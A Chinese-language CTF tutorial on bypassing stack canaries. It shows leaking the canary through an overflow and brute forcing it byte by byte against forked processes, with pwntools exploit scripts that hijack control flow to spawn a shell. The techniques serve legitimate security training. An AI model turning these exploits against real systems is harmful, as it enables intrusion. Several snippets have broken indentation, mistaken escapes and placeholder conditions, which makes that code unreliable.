Pwn专题(1.1)——绕过Stack Canaries的各种姿势

绕过canary的各种姿势

0x01 利用格式化字符串漏洞绕过canary

首先查看leak_canary程序开启的保护。可以发现程序开启了Canary和NX。

使用IDA进行静态分析,发现vuln函数为可疑函数。

vuln函数如下所示,read函数处存在栈溢出。

在函数名称栏里发现“getshell”函数,记录函数地址。

前面我们已经计算出buf的空间,后面紧跟的就是canary,所以我们只需要再填充12个字符,之后填充getshell的地址就可以了。

最后编写exp。

#版本一
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC

payload = (offset)*"a" + "b"
p.send(payload)
p.recvuntil("ab")

#得到canary的值
canary = u32(p.recv(3).rjust(4,b"\x00"))

payload2 =(offset)*b"a" + p32(canary) + b"b"*12 + p32(get_shell)
# payload2= buf + canary + canary到返回地址的大小 + 返回地址
p.send(payload2)
p.interactive()




#版本二
from pwn import *
context.binary = 'ex2'
#context.log_level = 'debug'
io = process('./ex2')
get_shell = ELF("./ex2").sym["getshell"]
io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100
io.sendline(payload)

io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()

0x02 one-by-one爆破canary

每次进程重启后Canary的值不同,但是同一进程中的不同线程Canary的值是相同的,并且通过fork函数创建的子进程Canary也是相同的,因为fork函数会直接拷贝父进程的内存。所以可以利用这个特点将Canary逐个字节爆破出来。

print "[+] Brute forcing stack canary "

start = len(p)
stop = len(p)+8

while len(p) < stop:
   for i in xrange(0,256):
       res = send2server(p + chr(i))

       if res != "":
       p = p + chr(i)
       #print "\t[+] Byte found 0x%02x" % i
       break

       if i == 255:
          print "[-] Exploit failed"
          sys.exit(-1)

canary = p[stop:start-1:-1].encode("hex")
print " [+] SSP value is 0x%s" % canary

#版本二
#爆破模板
log.info("---------------------------爆破canary-----------------------------------")
canary = "x00"
for x in xrange(3):
    for y in xrange(256):
        # 条件准备

        r.send("a"*offset+canary+chr(y))
        if 判断正确条件:
          # ……code……
        else:
             canary = canary+chr(y)
             log.info('At round %d find canary byte %#x' %(x, y))
             r.recv()
             break
log.info("爆破出canary的值为%#x"%(u32(canary)))

查看程序开启的保护。

使用IDA进行静态分析,发现“fork”函数,可以考虑爆破。

sub_80487FA函数如下图所示,read函数存在栈溢出。

#coding:utf-8
from pwn import *
r = process("pwn2")
file = ELF("./pwn2")
libc = ELF("./libc.so.6_x86")
log.info("---------------------------条件准备-----------------------------------")
print " puts_plt_addr:"+hex(file.plt['puts'])
print " puts_got_addr:"+hex(file.got['puts'])
r.recv()
r.sendline("Y")
r.recv()
r.sendline("daddy")
r.recv()
r.send("a"*16+"x00")
log.info("---------------------------爆破canary-----------------------------------")
str1 = r.recv()
true_len = 46
canary = "x00"
for x in xrange(3):
    for y in xrange(256):
        r.sendline("Y")
        r.recv()
        r.sendline("daddy")
        r.recv()
        r.send("a"*16+canary+chr(y))

        if "<unknown>" in r.recvuntil("[*] Do you love me?[Y]",drop=True):
        a=123
       else:
           canary = canary+chr(y)
           log.info('At round %d find canary byte %#x' %(x, y))
           r.recv()
           break
log.info("爆破出canary的值为%#x"%(u32(canary)))

log.info("---------------------------测试canary正确性-----------------------------------")
r.sendline("Y")
print r.recv()
r.sendline("daddy")
print r.recv()
payload = "a"*16+canary+"a"*12+p32(file.plt['puts'])+"aaaa"+p32(0x0804833D)
r.sendline(payload)
print r.recv()

#版本三
canary = '\x00'
for i in xrange(3):
for j in xrange(256):
        io.sendline('Y')
        io.recv()
        io.sendline('%19$p') #泄露栈上的libc地址
        io.recvuntil('game ')
        leak_libc_addr = int(io.recv(10), 16)

        io.recv()
        payload = 'A'*16 #构造payload爆破canary
        payload += canary
        payload += chr(j)
        io.send(payload)
        io.recv()
        if ("" != io.recv(timeout = 0.1)): #如果canary的字节位爆破正确,应该输出两个" Do you love me?",因此通过第二个recv的结果判断是否成功
               canary += chr(j)
               log.info('At round %d find canary byte %#x' %(i, j))
               break

log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x2ed3b + 0x3b060
binsh_addr = leak_libc_addr - 0x2ed3b + 0x15fa0f
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))